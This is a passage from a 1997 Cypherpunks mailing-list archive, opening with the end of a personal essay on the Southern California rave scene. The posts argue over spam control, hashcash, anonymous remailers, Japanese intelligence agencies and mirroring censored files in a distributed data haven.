"gypsy club" of my own in Orange County.  Not for profit, just so that
people might have a local place to go.  But too many things and people
conspired against me.
     Then the word "rave" came into existence and shortly following
808 State's new album.  It seemed to me that all the energy of
Industrial, and the groove of Acid House was forming a new "Techno"
genre and a new scene.  This was a fresh injection of energy.  The
underground parties grew up.  There was new hype and new ideas.  More
of my friends came with me to rave.  And the birth of a new radio
station helped expand the scene.
      It was fun and still is.  But the radio station died.  The scene
mostly caved in on it's own weight (hype and greed only go so far).
Big raves that I paid good money for didn't happen.  And we are left
with what?
      There is still that sense of acceptance.  The sense of unity and
anything goes.  And I think we are starting to come back to that old
feeling of community and being a part of something again.  This summer
a few friends and I were even able to throw a few free outdoor raves.
Though small, these were to be the start of a regular thing for the
summer but the fourth one got busted and we stopped.  I'm hoping that
it will happen again though (legally :).
      The underground scene here always seems to be able to recreate
itself.

      Remember,the rave scene is for and about the people.  About
individual empowerment.  Where an artist in a bedroom can get as big
as the world will allow and where 'people' not 'person' are the center
of attention.

      Big thanks go out to Brian (Vitamin B) and the SFRaves mailing
list for inspiration, Dana Watanabe my co-conspirator in raves and
other things, and Andy Ferrell (Vigor Mortis) for administrating and
offering a place for the SoCal-Raves list.

      I hope you enjoy this list as much as I do.
      Peace and Love.  And may you find a rave wherever you are.

Joachim





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:18:54 +0800
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <V5aTae3w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803114915.686H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> A compression scheme where many copies of the same text would be transmitted
> only once even if they're posted once would be an excellent thing

I beleave that uucp feeds can do things like this.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
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+ilylf2k1lM=
=gFI3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:22:40 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <PwcTae8w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803120122.686I-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin <tskirvin@math.uiuc.edu> writes:

[...]

> > 	Many spam cancellers are news admins.  Most of the major ones are
> > admins, in fact - Chris Lewis, JEM, etc.
> 
> You're splitting hairs.  One very unpleasant cancel-forger, Jan Isley,
> was the admin of a site where he was also the sole user.

[...]

> Well, the third parties got complaints anyway and pulled jan's plug in
> no time. :-)

It is clear from this example that he was not a mainstream spam canceler.

> For the archetypal "spam canceller", please examine Tim Brown's

Tim Brown is not a spam canceller.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:40:28 +0800
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030134.CAA13809@server.test.net>
Message-ID: <Pine.LNX.3.93.970803121625.686J-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997, Adam Back wrote:

> David Formosa <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > The best soultion given so far is Cause's suggestion of modifying
> > the fax law so that we can sue the spammers.
> 
> Law, and suing and the internet don't mix.

You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

> Eg. Say I spam you via an anonymous remailer.  So now who are you
> going to sue?

The spammers if there advertising a servese will need someway for me to
contact them.  Some way for me to get the goods.  Just anonomising the
email will not hide there identy.  Any way pushing spammer email though
most email remailers will cause them to crash from sheare volume.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 20:33:31 +0800
To: jf_avon@citenet.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <199708031129.MAA00973@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




jf_avon@citenet.net writes:
> On  3 Aug 97 at 2:34, Adam Back wrote:
> > Eg. Say I spam you via an anonymous remailer.  So now who are you
> > going to sue?
> >
> > Spammers use remailers already.
> > 
> > So your suggest has dire consequences for remailers.
> 
> What you would sue is the entity that is advertized in the 
> message, not the ISP (or remailer)  of course.  If you get harassing 
> mail through the paper mail, would you sue the postal service?

Here's the sequence of events as I see it:

 1. spammer spams you with adverisement for phone sex line
 2. you try to sue phone sex line company
 3. phone sex company denies all knowledge
 4. government says all email must be authenticated 
 5. government issues internet drivers license
 6. anonymous remailers work around authentication requirement
 7. government outlaws remailers

See any flaws in that logical and undesirable sequence of events?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:46:58 +0800
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <v03102803b0094859ea52@[10.0.2.15]>
Message-ID: <Pine.LNX.3.93.970803122328.686K-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Steve Schear wrote:

[...]

> >Naturally, rich, indolent technologists tend to favor schemes that
> >will put them in control. :-)
> 
> I can't fuly agree. In Europe, both communism and fascism started from the
> socialists (in fact, the fascist were called National Socialists)

The fascists called themselves Socialists for the same reson that the
main pro logging group calls themselfs _The Forest Protection Socity_ as a
returorical techneek to sucker peaple.

[...]

> and both accept the "... idea of a political party which embraces all 
> activities of the individual from the cradle to the grave, which claims
> to guide his views on everything, and which delights in making all
> problems questions of party...," F.A. Hayek, The Road to Surfdom.

Replace political party with free market and you get the econmic
reationalisum/thatureisum that has chocked socity.  The freandly socilisum
that both the GNU mannifesto and most of the net works on has no such
totalitarian tendencies.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 22:56:56 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707312017.QAA05673@jafar.issl.atl.hp.com>
Message-ID: <Pine.LNX.3.91.970803122332.379F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > I agree.  If charging for mail would eliminate spam, then I should not
> > be getting the mailboxfull of physical junk mail I receive every
> > morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
> > is in the best interests of the mail carrier to carry MORE mail, not
> > less.  So, e-postage will almost certainly cause more spam, not less. 

Hashcash is a more elegant and simple solution to UCE: most UCE is sent 
by small companies looking for a cheap way to get big exposure, they 
aren`t going to have the hardware to generate partial hash collisions for 
every address they want to mail, it would be prohibitively expensive for 
them to buy fast hardware to generate the collisions. Of course large 
companies who can afford to buy, or already have, mainframes will be able 
to send UCE, but most large companies are smart enough to realise that 
with the response rate gained from UCE, the reputation capital lost 
through sending it, and the valuable mainframe time used to generate the 
hashcash, it all adds up to a big shit sandwich.

Adam Back:   I haven`t read the hashcash paper/description for a while, 
can you give us some figures on how much processor time is required to 
generate hashcash for a 10,000 recipient spam, for n recipients?

Sudden and very exciting idea:

What if we could find a way to make the amount of hashcash required grow 
exponentially with the number of recipients? Of course the spammer could 
then find the optimum number of recipients and divide the list of 
addresses to be spammed into blocks of that size but that is a waste of 
sendmail time, also a waste of bandwidth and the overall time would 
probably still be prohibitively high.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Sun, 3 Aug 1997 18:55:03 +0800
To: cypherpunks@cyberpass.net
Subject: spam is good for you
Message-ID: <199708031050.MAA28488@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



I like it when spam is sent to the cpunks list because it makes the list
less accessible to lamers and wanna-be censors while not really
hurting its value to people who are familiar with configurable/
scriptable mail agents.



(Heck, I've considered 99% of cpunks traffic to be about the
same flavor as spam on my palate for years, so I'm already
comfortable with using heavy filtering as a matter of course.)



In other news, I'm going to  HIP  
and I'm thinking I should have a t-shirt made to piss off the
self-righteous socialist anti-spam activists.  My favorite 
slogan so far is "I may disagree with every spam you send, but
I will defend to the death your right to spam it. --Voltaire".
I consider this to be a powerful meme to broadcast at those
low-tech lawmongers, but it isn't sufficiently.. um.. offensive.
Any suggestions from the peanut gallery?


Of course I have to include my e-mail address on the shirt so
that those who are offended by my advocacy of absolute freedom
of speech can try to mailbomb me.



Over,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 4 Aug 1997 04:11:01 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Tim Speaks the Truth / Re: Joichi Ito as a Junior Policeman
In-Reply-To: <199708031231.VAA00231@eccosys.com>
Message-ID: <v03102801b00a8e9c4d82@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




To follow-up on my comments about Chobetsu, the Japanese SIGINT/COMINT
agency, there's a wealth of information in various places. In addition to
the books by Richelson and Hersh that I mentioned, Web searches reveal a
bunch of stuff. (And my own Cyphernomicon, now 3 years old, has material on
it, too.)


At 10:31 AM -0700 8/3/97, Tim May wrote:

>At 5:12 AM -0700 8/3/97, Joichi Ito wrote:
>
>>so they probably are pretty militaristic), Japan does not have the
>>equivalent of the NSA. It really is in Japanese national security interests
>
>And what of Chobetsu?
>
>Cf. Richelson's books on the world's intelligence agencies for discussion
>of Japan's version of the NSA.
>
>I also had a discussion with an NHK crew about Chobetsu and the coopeative
>spying arrangements at the USAF base at Misawa. The NHK folks seemed to get
>nervious at what I was openly discussing with them, and averred that such
>things are rarely spoken of in Japan, at least not as openly as I was
>speaking of them. (I showed them the sections Richelson had on Misawa, and
>Seymour Hersh's revelations about the 6920th and the Naval Security Group,
>Task Force 59, and complicity in the offing of Gough Whitlam of Australia.)

In Japan it is apparently the despised "anarchist" organizations which are
active in exposing the extent of COMINT surveillance of Japanese
corporations and citizens, so the nervousness of the NHK crew is
understandable. Being linked in any way to the Aum cult is a serious matter
in an "anti-terrorism" and "anti-anarchist" regime.

Here's an interesting article from: http://www.twics.com/~anzu/14-JCIA.html

My comments or emphasis are in <angle brackets like this>.


--begin quoted material--
By

>From Tokyo Observer x

It is not yet clear why information was leaked to the New York Times,
once in October 1994, and a second time one year later, revealing facts
concerning CIA involvement in Japanese politics and in trade talks
between the two countries. What is clear, however, is that one of the
major end results of the CIA leaks, whether intentional or not, may be
a strengthening of the Japanese intelligence apparatus. For example, in
response to the second report, an anonymous Japanese foreign
ministry official told the Daily Yomiuri that it was not surprising that
the U.S. had spied on Japan because there was no anti-spying
legislation in Japan. Such moves to strengthen the intelligence
apparatus are not new, of course, but they have become much more
forceful in recent years. In October, 1994, soon after the first CIA
leak, two articles appeared nearly simultaneously in the Japan Times
and Time magazine concerning the possible formation of a new
intelligence "superagency." Ueno Teruaki, in the Japan Times, quoted

<Joichi should ask if the national policy council he is to sit on, like any
good journalist would surely volunteer to sit on--NOT, is involved in this
reported creation of an intelligence "superagency.">

"Japanese spies" as saying that "it is in the nation's interest to get
independent assessments of situations instead of accepting the
offerings of allies." And in the Time article, Nishihara Masashi, a
research director at the National Institute of Defense Studies was
quoted as saying, "we need more independent intelligence if we are
going to play an expanded role in international affairs." In the wake of
the second leak in October 1995, these calls have only grown more
strident, and this leaves open the possibility that elements within the
U.S. administration may have hoped to use the revelations as a lever
to push Japan into bearing a greater share of its "defense burden."
Conservative public opinion magazines such as Bungei Shunju and
SAPIO have published papers, typically light in information content
but heavy in rhetoric, decrying Japan's lack of ability to defend itself
in the coming "intelligence wars." Conservative critics have renewed
calls for the passage of some sort of "anti-espionage" legislation, an
issue that was a favorite of Nakasone Yasuhiro during his
administration in the early 1980s (though Nakasone was unable to get
the law passed). The typical claim of these commentators is that
Japan's intelligence capabilities are in a crippled state, and that (though
this is generally unstated) when relations with the U.S. deteriorate,
Japan will be left vulnerable. These calls have, in fact, led to concrete
plans to unify them into a single super agency modeled on the CIA in
the United States. Japan's "Crippled" Intelligence It would be a
mistake, however, to take at face value the claims that Japan's
intelligence-gathering capabilities are "crippled." There are, in fact, a
whole series of offices that deal with such matters, though it is true
that they are (like most Japanese bureaucratic functions) divided
between agencies with conflicting interests, who may at times be more
interested in guarding their own territories than in doing any real
work. At present, Japan's main central official intelligence-gathering
agency is the so-called Naicho, a small section of the Prime Minister's
Office staffed by some 80 personnel who analyze information from
abroad. Proponents of a strengthened apparatus claim that this group
is basically ineffectual, and spends most of its energy having outside
researchers and professors translate newspaper articles and official
documents from abroad. It is supposed to act as a coordinating agency
for other groups in the government, but, the critics say, it does not. In
a recent issue of Jiyu Ishi, an anarchist publication, however, one

<Jiyu Ishi could be a candidate for mirroring, if it is suppressed in the
wake of the hysteria about the Aum Shinrikyo religious group and the spread
of anarchist material through Japan.>


author claimed that this office is currently being strengthened to
conduct surveillance on citizen activists. The two largest government
sections that are involved in intelligence are the Public Security
Investigation Agency (Koancho) - which is mainly involved in
counter-espionage - and the different intelligence sections of the
Defense Agency and Self-Defense Forces, in particular the group
called Chobetsu, with some 1,100 personnel, under the Joint Chiefs
of Staff, which analyzes radio and other transmissions in and around
Japan. There are also sections within the Foreign Ministry, MITI

<I'd say that this pretty much matches what I said about Chobetsu being the
Japanese equivalent of the NSA. Maybe not as large a staff as the NSA, even
in proportion to population, but certainly so in proportion to the relative
sizes of the armed forces. And Chobetsu makes use of facilities built in
Japan by the various arms of the NSA, including the affiliated Naval
Security Group, Army Security Agency, and Air Force Intelligence
operations.>


(through its external trade organization, JETRO), the National Police
Agency and the Metropolitan Police Department that deal with
intelligence work, though on a smaller scale. Attention has recently
focused on the Koancho and Chobetsu, the two largest agencies, as
they are currently jockeying for position in the new "superagency" that
many are calling for. The Koancho, for its part, was set up in 1952 as
an agency to investigate and control internal subversion, and its

<Controlling internal subversion?>

activities focus mainly on the far left and right, as well as the Japan
Communist Party, which was its main target during its early years. In
addition, it is probably the single group in Japan that is most
responsible for surveillance of resident Koreans, as statements made
by sources within the Koancho almost invariably point to how "North
Korea is scheming against Japan." At present, it is focusing its
surveillance on Aum Shinrikyo, partly in a move to gain increased
legitimacy. It is staffed by some 1,800 investigators. The New
"Superagency" The Chobetsu, for its part, is part of the Self-Defense
Forces, so its main focus is on military intelligence. Its main targets

<There's that mention of Chobetsu again. Sure sounds like the Japanese
equivalent of the NSA.>

are, naturally, the Korean peninsula, China, and Russia. There are
plans, however, which have not been well carried in the mainstream
press (though they are not in reality secret) to unite the different
groups within the defense community into a new "superagency"
which would rival the CIA. In next year's budget plan, funds have
actually been appropriated for the construction of a new headquarters
to house the Defense Agency and SDF in Ichigaya, Tokyo (the site,
incidentally, where Mishima Yukio committed suicide in 1971). This
new installation will be used to house the new superagency, or
"information headquarters," and the staffing level is eventually
expected to reach 5,000 or even 6,000 personnel, half of whom will
be field agents. Oddly enough, the focus of this new agency, if one

<6000 employees....now that's starting to look more like a large,
NSA-scaled operation! And Joicho Ito can be a part of this grand and
glorious venture! What would-be journalist wouldn't jump at the opportunity
to become one with Big Brother?>

takes the military planners at their word, would seem to be almost
exclusively domestic. What this means is that a further 3,000
personnel will be added to the 1,800-odd existing investigators in the
Koancho whose main task is to look out for spies inside Japan. There
is hardly any focus, however, on events outside. This is partly due,
no doubt, to the existence of Article 9 of the Constitution, which (at
least according to the most accepted "interpretation" forbids Japanese
military forces from operating outside of the country. It is known, for
instance, that Japan's military planners would like to launch a military
surveillance satellite, but they have not (yet) been able to carry out the
plan. If we look at espionage, we find that JETRO has also attracted
some attention in recent years, but only because of the larger focus
given to economic intelligence, and the fact that JETRO's activities are
mostly focused on Japan's nominal allies in the U.S. and Western
Europe. Given a system where most of the heavy-duty agencies such

<This "JETRO's activities are mostly focused on Japan's allies in the U.S.
and Western Europe" point is of course well-known. My old employer became
concerned that chip plans and factory schedulings were being intercepted by
Japanese SIGINT facilities and relayed to MITI and to its competitors. My
employer took steps to secure its communications. And of course the NSA was
doing similar espionage on Toshiba, Hitachi, etc. Nice to know that under
the New Crypto World Order, corporations will have to register their keys
with the local governments....somehow I think the U.S. will balk at forcing
Intel and Motorola to deposit their keys with the Rising Sun Imperial Key
Recovery Office.>


as the Koancho are almost solely focused on counter-espionage,
JETRO is obviously involved in a project of a different nature.
"Outside Agencies" In numbers, the Japanese intelligence community
may seem, indeed, to be a hobbled version of its counterparts in the
U.S., Russia, France, or Israel, especially in terms of espionage,
though the inauguration of the new "information headquarters" may
change this image. When looking at Japanese intelligence-gathering
capabilities, however, due consideration must be given to the fact that
these functions have historically been "subcontracted" out to the
private sector. During the early 20th century and in the prewar and

<"Subcontracted out to the private sector." Now there's the real
explanation for why Japanese intelligence agencies are not yet staffed at
NSA-type levels. The MITI-influenced corporations are working closely with
the SIGINT facilities. Could be why that design tape for the x86 series
vanished upon arrival in Tokyo...whoops, now Chobetsu will have to shoot
me.>

wartime periods, it is well documented that Japanese trading
companies were valuable sources of information to government
agencies. Nor can it be said that such relationships no longer exist. In
a recent issue of Bungei Shunju, a retired Koancho official wrote of
the existence of an "external organization" called Kyudankai, which
had the function of analyzing information (hence espionage) on
military movements in the Soviet Union. In fact, he claimed that this
group had knowledge of the impending 1980 invasion of Afghanistan,
and communicated these suspicions to the Japanese government.
Interestingly, the article was obviously an attempt to boost the prestige
of his organization, but it ends up giving credibility to suspicions that
Japan's intelligence services are not as crippled as they might first
appear to be. We are thus left with the suspicion, albeit
undocumented, that other similar organizations continue to exist today
and to provide privileged information to the Japanese government.

<Seems likely. Instead of working to expose government spying, as Hersh,
Richelson, Bamford, and others have done in the U.S., it seems that
Japanese would-be journalists like Joichi Ito would prefer to work with the
intelligence agencies as they seek to create a Japanese superagency to
monitor dissidents, anarchists, and religious group members. "The nail that
stands up gets pounded down.">


Moreover, it is easy to conclude the inauguration of the new
"information headquarters" in the Defense Agency may augur a period
of increased intelligence activities. A build-up of personnel is
obviously taking place, and in a crisis it seems clear that the tasks of
these people could quickly be reoriented to play a more
outward-looking role. The numbers themselves bear watching.

<And I rather suspect that Ito and other journalists will be loathe to
report on what they learn in their secret planning sessions.>



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 20:06:28 +0800
To: cypherpunks@toad.com
Subject: tcs_gateway2.treas.gov (IRS Harrassment of Cypherpunks List?)
Message-ID: <199708031153.NAA04031@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



After failing to find in the list archives previous posts from the
treas.gov address I was surprised to come across an example in a book
about the cypherpunks that was sent to the list some months ago.
Although I seem to recall this post as being authentic I am unable to
confirm this since my browser doesn't seem to be getting along with the
search engines for some reason or another. Can anyone confirm that the
message below is an authentic message that was sent to the list at the
time stated and with the same message ID? The reason I ask is that I
have found and corelated messages from the same server which indicate
that if the message came to the list with the message ID below then it
was indeed composed and initially sent the day before the article quoted
actually appeared in the newspaper.
If someone could confirm that the following message appeared on the list
with the same header as indicated below I would appreciate it.
(There are some other strange discrepancies I have found in Jim Bells
case too but I will refrain from commenting until I have had a chance to
confirm them.)

The message as portrayed in the book is as follows:
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
RAA03183 for
cypherpunks-unedited-outgoing; Wed, 2 Apr 1997 17:40:11 -0800 (PST)
Received: from tcs_gateway2.treas.gov (tcs-gateway2.treas.gov
[204.151.246.2]) by toad.com (8.7.5/8.7.3) with
SMTP id RAA03178 for <cypherpunks@toad.com>; Wed, 2 Apr 1997 17:40:04
-0800 (PST) 

From: IRSNWPR@net.insp.irs.gov
Date: Tue, 1 Apr 1997 15:18:46 -0500
Message-Id: <199704012018.PAA00555@net.insp.irs.gov> 

To: Interested_Parties@net.insp.irs.gov
Subject: Something of interest... 

Sender: owner-cypherpunks@toad.com

The Oregonian, Wednesday, April 2, 1997 

20 armed federal agents raid home in Vancouver 

By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal 
agencies in four states raided a Vancouver home Tuesday, apparently 
looking for evidence of a plot to kill government officials. 
....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 21:56:28 +0800
To: sar@cynicism.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970803032004.00818890@box.cynicism.com>
Message-ID: <199708031328.OAA02875@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




sar <sar@cynicism.com> writes:
> At 06:32 AM 8/3/97 +1000, ? the Platypus {aka David Formosa} wrote:
> 
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >On Sat, 2 Aug 1997, Adam Back wrote:
> >
> >> Next we choose a threshold say 1000 posts per day.  Seems hard to
> >> imagine anyone generating manually over 1000 emails per day.  That's
> >> more than 1 per minute for a 10 hour day.
>
> Take bugtraq which has over 12,000 subscribers. Each post to bugtraq would
> send out 12,000 emails so it would cost aleph one 1200$ per post to his
> list. I dont think anyone would want to run a mailing list under these
> sorts of conditions.

The way such pay for email systems as I see them would interface with
your existing email system is that you would have a list of addresses
which you would be happy to receive email from for free.

Clearly a the list address for a list you subscribed to is an address
you would put in your "receive email without postage" list.

Mail from email addresses not on this list would be expected to
include a valid 0c postage stamp.  If they don't include the postage
the mail gets bounced together with a nag about installing the system,
and possibly a manual way for them to send you the email in spite of
the system

(Note most spammers use non-replyable email addresses, because they
don't want you to know their ISPs address, because their ISP will yank
their account as soon as they figure out what they're up to.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 21:56:21 +0800
To: jya@pipeline.com
Subject: http://jya.eternity/? (was Re: JYA Axed)
In-Reply-To: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
Message-ID: <199708031339.OAA02898@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Young <jya@pipeline.com> writes:
> The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
> the site.
> 
> [...]
> 
> Finally, a Boss was reached who said the site was "intentionally pulled." 
> He claimed that it was "not a serious problem, so don't be alarmed," 
> and sang cheerily about "some files" without elaboration.
> 
> Maybe more next week, and we pray it turns out to be hysterically
> alarming and not merely a pissed Intel Prop owner seeking pay.

If/when you do figure out what files it was that upset them, perhaps
we can put them in the distributed eternity www-based data haven.

Then tell them to go censor:

	http://jya.eternity/

(Should be fun to watch them try to "take down" a web document that is
scattered across millions of USENET news spools.  If any particular
eternity server operator gets hassled, the attention will cause a
feeding frenzy of new eternity servers springing up, much like the
attempt at censoring Radikal, only the documents will still be sitting
there in the document store, and there won't even be a glitch in
access.)

> JYX.com is still up, thanks to PrimeHost's autosub. Ten files there
> -- so far.

Current eternity servers:

	http://www.replay.com/aba/eternity/
	http://www.zipcon.net/~enoch/

(Thanks to the person who suggested in email the idea of mirroring
whatever it was primehost are trying to censor on jya.com).

[jya: do you still have all materials that were on jya.com?]

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <adejoode@replay.com>
Date: Sun, 3 Aug 1997 21:21:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: spam is good for you
Message-ID: <199708031314.PAA13935@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman sez:

[..]
: In other news, I'm going to  HIP  
: and I'm thinking I should have a t-shirt made to piss off the
: self-righteous socialist anti-spam activists.  My favorite 
: slogan so far is "I may disagree with every spam you send, but
: I will defend to the death your right to spam it. --Voltaire".

Hehe, bring me such a T-shirt *g*

: I consider this to be a powerful meme to broadcast at those
: low-tech lawmongers, but it isn't sufficiently.. um.. offensive.
: Any suggestions from the peanut gallery?

--
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Sun, 3 Aug 1997 13:39:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NIST request for comments
In-Reply-To: <3.0.3.32.19970802203556.00b1e180@cybercash.com>
Message-ID: <199708030532.PAA05857@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


   Carl Ellison said:

> On http://csrc.ncsl.nist.gov/ , the 3rd and 4th links are to requests for 
> comments on changes to encryption standards.  Apparently, NIST isn't getting 
> many comments and would really like some.

It'll only encourage them to believe they're relevant.
 
> Maybe someone should tell them that publication in the Federal Register isn't 
> the right way to communicate with netizens :)

The fact that they haven't already indicates they're dinosaurs.
- -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM+QX2Hawhvoxf0r9AQEa3QgAgKxZYfGKicVg8+uZXOHGKaZSFZCPn7oe
jekWdd5w2uC6lWk+YAVrghm6qt26b98IwUy8P1Ft9cIjn4LC5kjU+A74DURlKXhZ
KtidkyUcdWAuTmGW4R0IK/1vUgusI9D5S9KO6U4iUD17PqoUCU43xz5IKHgKZodd
SlcaWFZdIhiJMkmTJaaFXAUTapm5Zszq2iZjM9yu+gFy8Gvq1+CPojrTdduzCl8w
fqxQMvK0GiinDXmAxhVdJXPk6nqQEYeSk3JIJsY/QgOfnaq8kwZYfvmfEm1LdEHz
ij2i5jhkJbsO2PFFSSz3bL5U6bR6AFQYop2qoLGgV67mNmR04OJfWg==
=AziQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Sun, 3 Aug 1997 13:59:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
Message-ID: <199708030552.PAA05934@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   ? the Platypus {aka David Formosa} said:


>The best soultion given so far is Cause's suggestion of modifying the fax
>law so that we can sue the spammers.

Thus giving gubmints the toe in the door they are so desperately looking 
for to regulate/license/control the online world.

The first thing you would see after passing such a law (if indeed the 
original legislation itself didn't contain the provision) would be a 
requirement for identification of all accounts and account holders. 
